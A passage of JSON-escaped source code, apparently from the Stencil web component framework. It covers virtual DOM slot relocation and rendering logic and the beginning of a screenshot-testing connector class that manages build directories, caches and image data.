else if (BUILD.vdomText && BUILD.slotRelocation && (defaultHolder = elm['s-cr'] as any)) {\n    // this element has slotted content\n    defaultHolder.parentNode.textContent = text;\n  } else if (BUILD.vdomText && oldVNode.$text$ !== text) {\n    // update the text content for the text only vnode\n    // and also only if the text is different than before\n    elm.data = text;\n  }\n};\n\n/**\n * Component-global information about nodes which are either currently being\n * relocated or will be shortly.\n */\nconst relocateNodes: RelocateNodeData[] = [];\n\n/**\n * Mark the contents of a slot for relocation via adding references to them to\n * the {@link relocateNodes} data structure. The actual work of relocating them\n * will then be handled in {@link renderVdom}.\n *\n * @param elm a render node whose child nodes need to be relocated\n */\nconst markSlotContentForRelocation = (elm: d.RenderNode) => {\n  // tslint:disable-next-line: prefer-const\n  let node: d.RenderNode;\n  let hostContentNodes: NodeList;\n  let j;\n\n  const children = elm.__childNodes || elm.childNodes;\n  for (const childNode of children as unknown as d.RenderNode[]) {\n    // we need to find child nodes which are slot references so we can then try\n    // to match them up with nodes that need to be relocated\n    if (childNode['s-sr'] && (node = childNode['s-cr']) && node.parentNode) {\n      // first get the content reference comment node ('s-cr'), then we get\n      // its parent, which is where all the host content is now\n      hostContentNodes = (node.parentNode as d.RenderNode).__childNodes || node.parentNode.childNodes;\n      const slotName = childNode['s-sn'];\n\n      // iterate through all the nodes under the location where the host was\n      // originally rendered\n      for (j = hostContentNodes.length - 1; j >= 0; j--) {\n        node = hostContentNodes[j] as d.RenderNode;\n\n        // check that the node is not a content reference node or a node\n        // reference and then check that the host name does not match that of\n        // childNode.\n        // In addition, check that the slot either has not already been relocated, or\n        // that its current location's host is not childNode's host. This is essentially\n        // a check so that we don't try to relocate (and then hide) a node that is already\n        // where it should be.\n        if (\n          !node['s-cn'] &&\n          !node['s-nr'] &&\n          node['s-hn'] !== childNode['s-hn'] &&\n          (!node['s-sh'] || node['s-sh'] !== childNode['s-hn'])\n        ) {\n          // if `node` is located in the slot that `childNode` refers to (via the\n          // `'s-sn'` property) then we need to relocate it from it's current spot\n          // (under the host element parent) to the right slot location\n          if (isNodeLocatedInSlot(node, slotName)) {\n            // it's possible we've already decided to relocate this node\n            let relocateNodeData = relocateNodes.find((r) => r.$nodeToRelocate$ === node);\n\n            // made some changes to slots\n            // let's make sure we also double check\n            // fallbacks are correctly hidden or shown\n            checkSlotFallbackVisibility = true;\n            // ensure that the slot-name attr is correct\n            node['s-sn'] = node['s-sn'] || slotName;\n\n            if (relocateNodeData) {\n              relocateNodeData.$nodeToRelocate$['s-sh'] = childNode['s-hn'];\n              // we marked this node for relocation previously but didn't find\n              // out the slot reference node to which it needs to be relocated\n              // so write it down now!\n              relocateNodeData.$slotRefNode$ = childNode;\n            } else {\n              node['s-sh'] = childNode['s-hn'];\n              // add to our list of nodes to relocate\n              relocateNodes.push({\n                $slotRefNode$: childNode,\n                $nodeToRelocate$: node,\n              });\n            }\n\n            if (node['s-sr']) {\n              relocateNodes.map((relocateNode) => {\n                if (isNodeLocatedInSlot(relocateNode.$nodeToRelocate$, node['s-sn'])) {\n                  relocateNodeData = relocateNodes.find((r) => r.$nodeToRelocate$ === node);\n\n                  if (relocateNodeData && !relocateNode.$slotRefNode$) {\n                    relocateNode.$slotRefNode$ = relocateNodeData.$slotRefNode$;\n                  }\n                }\n              });\n            }\n          } else if (!relocateNodes.some((r) => r.$nodeToRelocate$ === node)) {\n            // the node is not found within the slot (`childNode`) that we're\n            // currently looking at, so we stick it into `relocateNodes` to\n            // handle later. If we never find a home for this element then\n            // we'll need to hide it\n            relocateNodes.push({\n              $nodeToRelocate$: node,\n            });\n          }\n        }\n      }\n    }\n\n    // if we're dealing with any type of element (capable of itself being a\n    // slot reference or containing one) then we recur\n    if (childNode.nodeType === NODE_TYPE.ElementNode) {\n      markSlotContentForRelocation(childNode);\n    }\n  }\n};\n\n/**\n * 'Nullify' any VDom `ref` callbacks on a VDom node or its children by calling\n * them with `null`. This signals that the DOM element corresponding to the VDom\n * node has been removed from the DOM.\n *\n * @param vNode a virtual DOM node\n */\nexport const nullifyVNodeRefs = (vNode: d.VNode) => {\n  if (BUILD.vdomRef) {\n    if (vNode.$attrs$ && vNode.$attrs$.ref) {\n      // Queue the ref removal callback to be called later\n      refCallbacksToRemove.push(() => vNode.$attrs$.ref(null));\n    }\n    vNode.$children$ && vNode.$children$.map(nullifyVNodeRefs);\n  }\n};\n\n/**\n * Queue a ref callback to be called with an element during rendering.\n * This ensures ref callbacks are called in the correct order.\n *\n * @param refCallback the ref callback function to queue\n * @param elm the element to pass to the callback\n */\nexport const queueRefAttachment = (refCallback: (elm: any) => void, elm: any) => {\n  if (BUILD.vdomRef) {\n    refCallbacksToAttach.push(() => refCallback(elm));\n  }\n};\n\n/**\n * Flush all queued ref callbacks in the correct order:\n * first all removal callbacks (with null), then all attachment callbacks (with elements).\n * This ensures that when elements are replaced/reordered, the ref is always left\n * pointing to the current element, not null.\n */\nconst flushQueuedRefCallbacks = () => {\n  if (BUILD.vdomRef) {\n    // First, call all ref removal callbacks (passing null)\n    refCallbacksToRemove.forEach((cb) => cb());\n    refCallbacksToRemove.length = 0;\n\n    // Then, call all ref attachment callbacks (passing elements)\n    refCallbacksToAttach.forEach((cb) => cb());\n    refCallbacksToAttach.length = 0;\n  }\n};\n\n/**\n * Inserts a node before a reference node as a child of a specified parent node.\n * Additionally, adds parent elements' scope ids as class names to the new node.\n *\n * @param parent parent node\n * @param newNode element to be inserted\n * @param reference anchor element\n * @param isInitialLoad whether or not this is the first render\n * @returns inserted node\n */\nexport const insertBefore = (\n  parent: Node,\n  newNode: d.RenderNode,\n  reference?: d.RenderNode | d.PatchedSlotNode,\n  isInitialLoad?: boolean,\n): Node => {\n  //\n  if (BUILD.slotRelocation) {\n    if (BUILD.scoped && typeof newNode['s-sn'] === 'string' && !!newNode['s-sr'] && !!newNode['s-cr']) {\n      // this is a slot node\n      addRemoveSlotScopedClass(newNode['s-cr'], newNode, parent as d.RenderNode, newNode.parentElement);\n    } else if (typeof newNode['s-sn'] === 'string') {\n      // this is a slotted node.\n      if (BUILD.experimentalSlotFixes && parent.getRootNode().nodeType !== NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n        // we don't need to patch this node if it's nested in a shadow root\n        patchParentNode(newNode);\n      }\n      // potentially use the patched insertBefore method. This will correctly slot the new node\n      parent.insertBefore(newNode, reference);\n\n      // if we find a corresponding slot node, dispatch a slotchange event now\n      const { slotNode } = findSlotFromSlottedNode(newNode);\n      if (slotNode && !isInitialLoad) dispatchSlotChangeEvent(slotNode);\n\n      return newNode;\n    }\n  }\n\n  if ((parent as d.RenderNode).__insertBefore) {\n    return (parent as d.RenderNode).__insertBefore(newNode, reference) as d.RenderNode;\n  } else {\n    return parent?.insertBefore(newNode, reference) as d.RenderNode;\n  }\n};\n\n/**\n * Adds or removes a scoped class to the parent element of a slotted node.\n * This is used for styling slotted content (e.g. with `::scoped(...) {...}` selectors )\n * in `scoped: true` components.\n *\n * @param reference - Content Reference Node. Used to get the scope id of the parent component.\n * @param slotNode - the `<slot>` node to apply the class for\n * @param newParent - the slots' new parent element that requires the scoped class\n * @param oldParent - optionally, an old parent element that may no longer require the scoped class\n */\nfunction addRemoveSlotScopedClass(\n  reference: d.RenderNode,\n  slotNode: d.RenderNode,\n  newParent: Element,\n  oldParent?: Element,\n) {\n  // if the new node to move is slotted,\n  // find it's original parent component and see if has a scope id\n  let scopeId: string;\n  if (\n    reference &&\n    typeof slotNode['s-sn'] === 'string' &&\n    !!slotNode['s-sr'] &&\n    reference.parentNode &&\n    (reference.parentNode as d.RenderNode)['s-sc'] &&\n    (scopeId = slotNode['s-si'] || (reference.parentNode as d.RenderNode)['s-sc'])\n  ) {\n    const scopeName = slotNode['s-sn'];\n    const hostName = slotNode['s-hn'];\n\n    // we found the original parent component's scoped id\n    // let's add a scoped-slot class to this slotted node's parent\n    newParent.classList?.add(scopeId + '-s');\n\n    if (oldParent && oldParent.classList?.contains(scopeId + '-s')) {\n      let child = ((oldParent as d.RenderNode).__childNodes || oldParent.childNodes)[0] as d.RenderNode;\n      let found = false;\n\n      while (child) {\n        if (child['s-sn'] !== scopeName && child['s-hn'] === hostName && !!child['s-sr']) {\n          found = true;\n          break;\n        }\n        child = child.nextSibling as d.RenderNode;\n      }\n\n      // there are no other slots in the old parent\n      // let's remove the scoped-slot class\n      if (!found) oldParent.classList.remove(scopeId + '-s');\n    }\n  }\n}\n/**\n * Information about nodes to be relocated in order to support\n * `<slot>` elements in scoped (i.e. non-shadow DOM) components\n */\ninterface RelocateNodeData {\n  $slotRefNode$?: d.RenderNode;\n  $nodeToRelocate$: d.RenderNode;\n}\n\n/**\n * The main entry point for Stencil's virtual DOM-based rendering engine\n *\n * Given a {@link d.HostRef} container and some virtual DOM nodes, this\n * function will handle creating a virtual DOM tree with a single root, patching\n * the current virtual DOM tree onto an old one (if any), dealing with slot\n * relocation, and reflecting attributes.\n *\n * @param hostRef data needed to root and render the virtual DOM tree, such as\n * the DOM node into which it should be rendered.\n * @param renderFnResults the virtual DOM nodes to be rendered\n * @param isInitialLoad whether or not this is the first call after page load\n */\nexport const renderVdom = (hostRef: d.HostRef, renderFnResults: d.VNode | d.VNode[], isInitialLoad = false) => {\n  const hostElm = hostRef.$hostElement$;\n  const cmpMeta = hostRef.$cmpMeta$;\n  const oldVNode: d.VNode = hostRef.$vnode$ || newVNode(null, null);\n  const isHostElement = isHost(renderFnResults);\n\n  // if `renderFnResults` is a Host node then we can use it directly. If not,\n  // we need to call `h` again to wrap the children of our component in a\n  // 'dummy' Host node (well, an empty vnode) since `renderVdom` assumes\n  // implicitly that the top-level vdom node is 1) an only child and 2)\n  // contains attrs that need to be set on the host element.\n  const rootVnode = isHostElement ? renderFnResults : h(null, null, renderFnResults as any);\n\n  hostTagName = hostElm.tagName;\n\n  // <Host> runtime check\n  if (BUILD.isDev && Array.isArray(renderFnResults) && renderFnResults.some(isHost)) {\n    throw new Error(`The <Host> must be the single root component.\nLooks like the render() function of \"${hostTagName.toLowerCase()}\" is returning an array that contains the <Host>.\n\nThe render() function should look like this instead:\n\nrender() {\n  // Do not return an array\n  return (\n    <Host>{content}</Host>\n  );\n}\n  `);\n  }\n\n  if (BUILD.reflect && cmpMeta.$attrsToReflect$) {\n    rootVnode.$attrs$ = rootVnode.$attrs$ || {};\n    cmpMeta.$attrsToReflect$.forEach(([propName, attribute]) => {\n      if (BUILD.serializer && hostRef.$serializerValues$.has(propName)) {\n        rootVnode.$attrs$[attribute] = hostRef.$serializerValues$.get(propName);\n      } else {\n        rootVnode.$attrs$[attribute] = (hostElm as any)[propName];\n      }\n    });\n  }\n\n  // On the first render and *only* on the first render we want to check for\n  // any attributes set on the host element which are also set on the vdom\n  // node. If we find them, we override the value on the VDom node attrs with\n  // the value from the host element, which allows developers building apps\n  // with Stencil components to override e.g. the `role` attribute on a\n  // component even if it's already set on the `Host`.\n  if (isInitialLoad && rootVnode.$attrs$) {\n    for (const key of Object.keys(rootVnode.$attrs$)) {\n      // We have a special implementation in `setAccessor` for `style` and\n      // `class` which reconciles values coming from the VDom with values\n      // already present on the DOM element, so we don't want to override those\n      // attributes on the VDom tree with values from the host element if they\n      // are present.\n      //\n      // Likewise, `ref` and `key` are special internal values for the Stencil\n      // runtime and we don't want to override those either.\n      if (hostElm.hasAttribute(key) && !['key', 'ref', 'style', 'class'].includes(key)) {\n        rootVnode.$attrs$[key] = hostElm[key as keyof d.HostElement];\n      }\n    }\n  }\n\n  rootVnode.$tag$ = null;\n  rootVnode.$flags$ |= VNODE_FLAGS.isHost;\n  hostRef.$vnode$ = rootVnode;\n  rootVnode.$elm$ = oldVNode.$elm$ = (BUILD.shadowDom ? hostElm.shadowRoot || hostElm : hostElm) as any;\n\n  if (BUILD.scoped || BUILD.shadowDom) {\n    scopeId = hostElm['s-sc'];\n  }\n\n  useNativeShadowDom =\n    supportsShadow &&\n    !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) &&\n    !(cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss);\n  if (BUILD.slotRelocation) {\n    contentRef = hostElm['s-cr'];\n\n    // always reset\n    checkSlotFallbackVisibility = false;\n  }\n\n  // synchronous patch\n  patch(oldVNode, rootVnode, isInitialLoad);\n\n  if (BUILD.slotRelocation) {\n    // while we're moving nodes around existing nodes, temporarily disable\n    // the disconnectCallback from working\n    plt.$flags$ |= PLATFORM_FLAGS.isTmpDisconnected;\n\n    if (checkSlotRelocate) {\n      markSlotContentForRelocation(rootVnode.$elm$);\n\n      for (const relocateData of relocateNodes) {\n        const nodeToRelocate = relocateData.$nodeToRelocate$;\n\n        if (!nodeToRelocate['s-ol'] && win.document) {\n          // add a reference node marking this node's original location\n          // keep a reference to this node for later lookups\n          const orgLocationNode =\n            BUILD.isDebug || BUILD.hydrateServerSide\n              ? originalLocationDebugNode(nodeToRelocate)\n              : (win.document.createTextNode('') as any);\n          orgLocationNode['s-nr'] = nodeToRelocate;\n\n          insertBefore(\n            nodeToRelocate.parentNode,\n            (nodeToRelocate['s-ol'] = orgLocationNode),\n            nodeToRelocate,\n            isInitialLoad,\n          );\n        }\n      }\n\n      for (const relocateData of relocateNodes) {\n        const nodeToRelocate = relocateData.$nodeToRelocate$;\n        const slotRefNode = relocateData.$slotRefNode$;\n\n        if (nodeToRelocate.nodeType === NODE_TYPE.ElementNode && isInitialLoad) {\n          // Store the initial value of `hidden` so we can reset it later when\n          // moving nodes around.\n          nodeToRelocate['s-ih'] = nodeToRelocate.hidden ?? false;\n        }\n\n        if (slotRefNode) {\n          const parentNodeRef = slotRefNode.parentNode;\n          // When determining where to insert content, the most simple case would be\n          // to relocate the node immediately following the slot reference node. We do this\n          // by getting a reference to the node immediately following the slot reference node\n          // since we will use `insertBefore` to manipulate the DOM.\n          //\n          // If there is no node immediately following the slot reference node, then we will just\n          // end up appending the node as the last child of the parent.\n          let insertBeforeNode = slotRefNode.nextSibling as d.RenderNode | null;\n\n          // If the node we're currently planning on inserting the new node before is an element,\n          // we need to do some additional checks to make sure we're inserting the node in the correct order.\n          // The use case here would be that we have multiple nodes being relocated to the same slot. So, we want\n          // to make sure they get inserted into their new home in the same order they were declared in their original location.\n          if (!BUILD.hydrateServerSide && insertBeforeNode && insertBeforeNode.nodeType === NODE_TYPE.ElementNode) {\n            let orgLocationNode = nodeToRelocate['s-ol']?.previousSibling as d.RenderNode | null;\n            while (orgLocationNode) {\n              let refNode = (orgLocationNode['s-nr'] as d.RenderNode) ?? null;\n\n              if (\n                refNode &&\n                refNode['s-sn'] === nodeToRelocate['s-sn'] &&\n                parentNodeRef === ((refNode as d.PatchedSlotNode).__parentNode || refNode.parentNode)\n              ) {\n                refNode = refNode.nextSibling as d.RenderNode | null;\n\n                // If the refNode is the same node to be relocated or another element's slot reference, keep searching to find the\n                // correct relocation target\n                while (refNode === nodeToRelocate || refNode?.['s-sr']) {\n                  refNode = refNode?.nextSibling as d.RenderNode | null;\n                }\n\n                if (!refNode || !refNode['s-nr']) {\n                  insertBeforeNode = refNode;\n                  break;\n                }\n              }\n\n              orgLocationNode = orgLocationNode.previousSibling as d.RenderNode | null;\n            }\n          }\n\n          const parent = (nodeToRelocate as d.PatchedSlotNode).__parentNode || nodeToRelocate.parentNode;\n          const nextSibling = (nodeToRelocate as d.PatchedSlotNode).__nextSibling || nodeToRelocate.nextSibling;\n          if ((!insertBeforeNode && parentNodeRef !== parent) || nextSibling !== insertBeforeNode) {\n            // we've checked that it's worth while to relocate\n            // since that the node to relocate\n            // has a different next sibling or parent relocated\n\n            if (nodeToRelocate !== insertBeforeNode) {\n              // Add it back to the dom but in its new home\n              // If we get to this point and `insertBeforeNode` is `null`, that means\n              // we're just going to append the node as the last child of the parent. Passing\n              // `null` as the second arg here will trigger that behavior.\n              insertBefore(parentNodeRef, nodeToRelocate, insertBeforeNode, isInitialLoad);\n\n              // // If this is a comment node that represents a hidden text node, convert it back to text\n              if (nodeToRelocate.nodeType === NODE_TYPE.CommentNode && nodeToRelocate.nodeValue.startsWith('s-nt-')) {\n                // create a text node to replace the comment node\n                const textNode = win.document.createTextNode(nodeToRelocate.nodeValue.replace(/^s-nt-/, '')) as any;\n                // Copy over Stencil properties\n                textNode['s-hn'] = nodeToRelocate['s-hn']; // host (component) name\n                textNode['s-sn'] = nodeToRelocate['s-sn']; // slot name\n                textNode['s-sh'] = nodeToRelocate['s-sh']; // host (component) that this node is slotted to\n                textNode['s-sr'] = nodeToRelocate['s-sr']; // slot reference node\n                textNode['s-ol'] = nodeToRelocate['s-ol']; // original location marker\n                textNode['s-ol']['s-nr'] = textNode; // point original location marker to new text node\n\n                insertBefore(nodeToRelocate.parentNode, textNode, nodeToRelocate, isInitialLoad);\n                nodeToRelocate.parentNode.removeChild(nodeToRelocate);\n              }\n\n              // Reset the `hidden` value back to what it was defined as originally\n              // This solves a problem where a `slot` is dynamically rendered and `hidden` may have\n              // been set on content originally, but now it has a slot to go to so it should have\n              // the value it was defined as having in the DOM, not what we overrode it to.\n              if (nodeToRelocate.nodeType === NODE_TYPE.ElementNode && nodeToRelocate.tagName !== 'SLOT-FB') {\n                nodeToRelocate.hidden = nodeToRelocate['s-ih'] ?? false;\n              }\n            }\n          }\n          nodeToRelocate && typeof slotRefNode['s-rf'] === 'function' && slotRefNode['s-rf'](slotRefNode);\n        } else if (nodeToRelocate.nodeType === NODE_TYPE.ElementNode) {\n          // this node doesn't have a slot home to go to, so let's hide it\n          nodeToRelocate.hidden = true;\n        }\n      }\n    }\n\n    if (checkSlotFallbackVisibility) {\n      updateFallbackSlotVisibility(rootVnode.$elm$);\n    }\n\n    // done moving nodes around\n    // allow the disconnect callback to work again\n    plt.$flags$ &= ~PLATFORM_FLAGS.isTmpDisconnected;\n\n    // always reset\n    relocateNodes.length = 0;\n  }\n\n  // Hide any elements that were projected through, but don't have a slot to go to.\n  // Only an issue if there were no \"slots\" rendered. Otherwise, nodes are hidden correctly.\n  if (\n    BUILD.slotRelocation &&\n    !useNativeShadowDom &&\n    !(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) &&\n    hostElm['s-cr']\n  ) {\n    const children = rootVnode.$elm$.__childNodes || rootVnode.$elm$.childNodes;\n    for (const childNode of children) {\n      if (childNode['s-hn'] !== hostTagName && !childNode['s-sh']) {\n        // Store the initial value of `hidden` so we can reset it later when\n        // moving nodes around.\n        if (isInitialLoad && childNode['s-ih'] == null) {\n          childNode['s-ih'] = childNode.hidden ?? false;\n        }\n\n        if (childNode.nodeType === NODE_TYPE.ElementNode) {\n          childNode.hidden = true;\n        } else if (childNode.nodeType === NODE_TYPE.TextNode && !!childNode.nodeValue.trim()) {\n          const textCommentNode = win.document.createComment('s-nt-' + childNode.nodeValue) as any;\n          textCommentNode['s-sn'] = childNode['s-sn'];\n          insertBefore(childNode.parentNode, textCommentNode, childNode, isInitialLoad);\n          childNode.parentNode.removeChild(childNode);\n        }\n      }\n    }\n  }\n\n  // Clear the content ref so we don't create a memory leak\n  contentRef = undefined;\n\n  // Flush all queued ref callbacks in the correct order\n  flushQueuedRefCallbacks();\n};\n\n// slot comment debug nodes only created with the `--debug` flag\n// otherwise these nodes are text nodes w/out content\nconst slotReferenceDebugNode = (slotVNode: d.VNode) =>\n  win.document?.createComment(\n    `<slot${slotVNode.$name$ ? ' name=\"' + slotVNode.$name$ + '\"' : ''}> (host=${hostTagName.toLowerCase()})`,\n  );\n\nconst originalLocationDebugNode = (nodeToRelocate: d.RenderNode): any =>\n  win.document?.createComment(\n    `org-location for ` +\n      (nodeToRelocate.localName\n        ? `<${nodeToRelocate.localName}> (host=${nodeToRelocate['s-hn']})`\n        : `[${nodeToRelocate.textContent}]`),\n  );\n"
  },
  {
    "path": "src/screenshot/connector-base.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { tmpdir } from 'os';\nimport { join } from 'path';\n\nimport { emptyDir, fileExists, mkDir, readDir, readFile, readFileBuffer, rmDir, writeFile } from './screenshot-fs';\n\nexport class ScreenshotConnector implements d.ScreenshotConnector {\n  rootDir: string;\n  cacheDir: string;\n  packageDir: string;\n  screenshotDirName = 'screenshot';\n  imagesDirName = 'images';\n  buildsDirName = 'builds';\n  masterBuildFileName = 'master.json';\n  screenshotCacheFileName = 'screenshot-cache.json';\n  logger: d.Logger;\n  buildId: string;\n  buildMessage: string;\n  buildAuthor: string | undefined;\n  buildUrl: string | undefined;\n  previewUrl: string | undefined;\n  buildTimestamp: number;\n  appNamespace: string;\n  screenshotDir: string;\n  imagesDir: string;\n  buildsDir: string;\n  masterBuildFilePath: string;\n  screenshotCacheFilePath: string;\n  currentBuildDir: string;\n  updateMaster: boolean;\n  allowableMismatchedRatio: number | undefined;\n  allowableMismatchedPixels: number | undefined;\n  pixelmatchThreshold: number | undefined;\n  waitBeforeScreenshot: number | undefined;\n  pixelmatchModulePath: string | undefined;\n\n  async initBuild(opts: d.ScreenshotConnectorOptions) {\n    this.logger = opts.logger;\n\n    this.buildId = opts.buildId;\n    this.buildMessage = opts.buildMessage || '';\n    this.buildAuthor = opts.buildAuthor;\n    this.buildUrl = opts.buildUrl;\n    this.previewUrl = opts.previewUrl;\n    this.buildTimestamp = typeof opts.buildTimestamp === 'number' ? opts.buildTimestamp : Date.now();\n    this.cacheDir = opts.cacheDir;\n    this.packageDir = opts.packageDir;\n    this.rootDir = opts.rootDir;\n    this.appNamespace = opts.appNamespace;\n    this.waitBeforeScreenshot = opts.waitBeforeScreenshot;\n    this.pixelmatchModulePath = opts.pixelmatchModulePath;\n\n    if (!opts.logger) {\n      throw new Error(`logger option required`);\n    }\n\n    if (typeof opts.buildId !== 'string') {\n      throw new Error(`buildId option required`);\n    }\n\n    if (typeof opts.cacheDir !== 'string') {\n      throw new Error(`cacheDir option required`);\n    }\n\n    if (typeof opts.packageDir !== 'string') {\n      throw new Error(`packageDir option required`);\n    }\n\n    if (typeof opts.rootDir !== 'string') {\n      throw new Error(`rootDir option required`);\n    }\n\n    this.updateMaster = !!opts.updateMaster;\n    this.allowableMismatchedPixels = opts.allowableMismatchedPixels;\n    this.allowableMismatchedRatio = opts.allowableMismatchedRatio;\n    this.pixelmatchThreshold = opts.pixelmatchThreshold;\n\n    this.logger.debug(`screenshot build: ${this.buildId}, ${this.buildMessage}, updateMaster: ${this.updateMaster}`);\n    this.logger.debug(\n      `screenshot, allowableMismatchedPixels: ${this.allowableMismatchedPixels}, allowableMismatchedRatio: ${this.allowableMismatchedRatio}, pixelmatchThreshold: ${this.pixelmatchThreshold}`,\n    );\n\n    if (typeof opts.screenshotDirName === 'string') {\n      this.screenshotDirName = opts.screenshotDirName;\n    }\n\n    if (typeof opts.imagesDirName === 'string') {\n      this.imagesDirName = opts.imagesDirName;\n    }\n\n    if (typeof opts.buildsDirName === 'string') {\n      this.buildsDirName = opts.buildsDirName;\n    }\n\n    this.screenshotDir = join(this.rootDir, this.screenshotDirName);\n    this.imagesDir = join(this.screenshotDir, this.imagesDirName);\n    this.buildsDir = join(this.screenshotDir, this.buildsDirName);\n    this.masterBuildFilePath = join(this.buildsDir, this.masterBuildFileName);\n    this.screenshotCacheFilePath = join(this.cacheDir, this.screenshotCacheFileName);\n    this.currentBuildDir = join(tmpdir(), 'screenshot-build-' + this.buildId);\n\n    this.logger.debug(`screenshotDirPath: ${this.screenshotDir}`);\n    this.logger.debug(`imagesDirPath: ${this.imagesDir}`);\n    this.logger.debug(`buildsDirPath: ${this.buildsDir}`);\n    this.logger.debug(`currentBuildDir: ${this.currentBuildDir}`);\n    this.logger.debug(`cacheDir: ${this.cacheDir}`);\n\n    await mkDir(this.screenshotDir);\n\n    await Promise.all([\n      mkDir(this.imagesDir),\n      mkDir(this.buildsDir),\n      mkDir(this.currentBuildDir),\n      mkDir(this.cacheDir),\n    ]);\n  }\n\n  async pullMasterBuild() {\n    /**/\n  }\n\n  async getMasterBuild() {\n    try {\n      const masterBuild = JSON.parse(await readFile(this.masterBuildFilePath));\n      return masterBuild;\n    } catch (e) {}\n\n    return null;\n  }\n\n  async completeBuild(masterBuild: d.ScreenshotBuild) {\n    const filePaths = (await readDir(this.currentBuildDir))\n      .map((f) => join(this.currentBuildDir, f))\n      .filter((f) => f.endsWith('.json'));\n    const screenshots = await Promise.all(filePaths.map(async (f) => JSON.parse(await readFile(f)) as d.Screenshot));\n\n    this.sortScreenshots(screenshots);\n\n    if (!masterBuild) {\n      masterBuild = {\n        id: this.buildId,\n        message: this.buildMessage,\n        author: this.buildAuthor,\n        url: this.buildUrl,\n        previewUrl: this.previewUrl,\n        appNamespace: this.appNamespace,\n        timestamp: this.buildTimestamp,\n        screenshots: screenshots,\n      };\n    }\n\n    const results: d.ScreenshotBuildResults = {\n      appNamespace: this.appNamespace,\n      masterBuild: masterBuild,\n      currentBuild: {\n        id: this.buildId,\n        message: this.buildMessage,\n        author: this.buildAuthor,\n        url: this.buildUrl,\n        previewUrl: this.previewUrl,\n        appNamespace: this.appNamespace,\n        timestamp: this.buildTimestamp,\n        screenshots: screenshots,\n      },\n      compare: {\n        id: `${masterBuild.id}-${this.buildId}`,\n        a: {\n          id: masterBuild.id,\n          message: masterBuild.message,\n          author: masterBuild.author,\n          url: masterBuild.url,\n          previewUrl: masterBuild.previewUrl,\n        },\n        b: {\n          id: this.buildId,\n          message: this.buildMessage,\n          author: this.buildAuthor,\n          url: this.buildUrl,\n          previewUrl: this.previewUrl,\n        },\n        url: null,\n        appNamespace: this.appNamespace,\n        timestamp: this.buildTimestamp,\n        diffs: [],\n      },\n    };\n\n    results.currentBuild.screenshots.forEach((screenshot) => {\n      screenshot.diff.device = screenshot.diff.device || screenshot.diff.userAgent;\n      results.compare.diffs.push(screenshot.diff);\n      delete screenshot.diff;\n    });\n\n    this.sortCompares(results.compare.diffs);\n\n    await emptyDir(this.currentBuildDir);\n    await rmDir(this.currentBuildDir);\n\n    return results;\n  }\n\n  async publishBuild(results: d.ScreenshotBuildResults) {\n    return results;\n  }\n\n  async generateJsonpDataUris(build: d.ScreenshotBuild) {\n    if (build && Array.isArray(build.screenshots)) {\n      for (let i = 0; i < build.screenshots.length; i++) {\n        const screenshot = build.screenshots[i];\n\n        const jsonpFileName = `screenshot_${screenshot.image}.js`;\n        const jsonFilePath = join(this.cacheDir, jsonpFileName);\n        const jsonpExists = await fileExists(jsonFilePath);\n\n        if (!jsonpExists) {\n          const imageFilePath = join(this.imagesDir, screenshot.image);\n          const imageBuf = await readFileBuffer(imageFilePath);\n          const jsonpContent = `loadScreenshot(\"${screenshot.image}\",\"data:image/png;base64,${imageBuf.toString(\n            'base64',\n          )}\");`;\n          await writeFile(jsonFilePath, jsonpContent);\n        }\n      }\n    }\n  }\n\n  async getScreenshotCache() {\n    return null as d.ScreenshotCache;\n  }\n\n  async updateScreenshotCache(screenshotCache: d.ScreenshotCache, buildResults: d.ScreenshotBuildResults) {\n    screenshotCache = screenshotCache || {};\n    screenshotCache.timestamp = this.buildTimestamp;\n    screenshotCache.lastBuildId = this.buildId;\n    screenshotCache.size = 0;\n    screenshotCache.items = screenshotCache.items || [];\n\n    if (buildResults && buildResults.compare && Array.isArray(buildResults.compare.diffs)) {\n      buildResults.compare.diffs.forEach((diff) => {\n        if (typeof diff.cacheKey !== 'string') {\n          return;\n        }\n\n        if (diff.imageA === diff.imageB) {\n          // no need to cache identical matches\n          return;\n        }\n\n        const existingItem = screenshotCache.items.find((i) => i.key === diff.cacheKey);\n        if (existingItem) {\n          // already have this cached, but update its timestamp\n          existingItem.ts = this.buildTimestamp;\n        } else {\n          // add this item to the cache\n          screenshotCache.items.push({\n            key: diff.cacheKey,\n            ts: this.buildTimestamp,\n            mp: diff.mismatchedPixels,\n          });\n        }\n      });\n    }\n\n    // sort so the newest items are on top\n    screenshotCache.items.sort((a, b) => {\n      if (a.ts > b.ts) return -1;\n      if (a.ts < b.ts) return 1;\n      if (a.mp > b.mp) return -1;\n      if (a.mp < b.mp) return 1;\n      return 0;\n    });\n\n    // keep only the most recent items\n    screenshotCache.items = screenshotCache.items.slice(0, 1000);\n\n    screenshotCache.size = screenshotCache.items.length;\n\n    return screenshotCache;\n  }\n\n  toJson(masterBuild: d.ScreenshotBuild, screenshotCache: d.ScreenshotCache) {\n    const masterScreenshots: { [screenshotId: string]: string } = {};\n    if (masterBuild && Array.isArray(masterBuild.screenshots)) {\n      masterBuild.screenshots.forEach((masterScreenshot) => {\n        masterScreenshots[masterScreenshot.id] = masterScreenshot.image;\n      });\n    }\n\n    const mismatchCache: { [cacheKey: string]: number } = {};\n    if (screenshotCache && Array.isArray(screenshotCache.items)) {\n      screenshotCache.items.forEach((cacheItem) => {\n        mismatchCache[cacheItem.key] = cacheItem.mp;\n      });\n    }\n\n    const screenshotBuild: d.ScreenshotBuildData = {\n      buildId: this.buildId,\n      rootDir: this.rootDir,\n      screenshotDir: this.screenshotDir,\n      imagesDir: this.imagesDir,\n      buildsDir: this.buildsDir,\n      masterScreenshots: masterScreenshots,\n      cache: mismatchCache,\n      currentBuildDir: this.currentBuildDir,\n      updateMaster: this.updateMaster,\n      allowableMismatchedPixels: this.allowableMismatchedPixels,\n      allowableMismatchedRatio: this.allowableMismatchedRatio,\n      pixelmatchThreshold: this.pixelmatchThreshold,\n      timeoutBeforeScreenshot: this.waitBeforeScreenshot,\n      pixelmatchModulePath: this.pixelmatchModulePath,\n    };\n\n    return JSON.stringify(screenshotBuild);\n  }\n\n  sortScreenshots(screenshots: d.Screenshot[]) {\n    return screenshots.sort((a, b) => {\n      if (a.desc && b.desc) {\n        if (a.desc.toLowerCase() < b.desc.toLowerCase()) return -1;\n        if (a.desc.toLowerCase() > b.desc.toLowerCase()) return 1;\n      }\n\n      if (a.device && 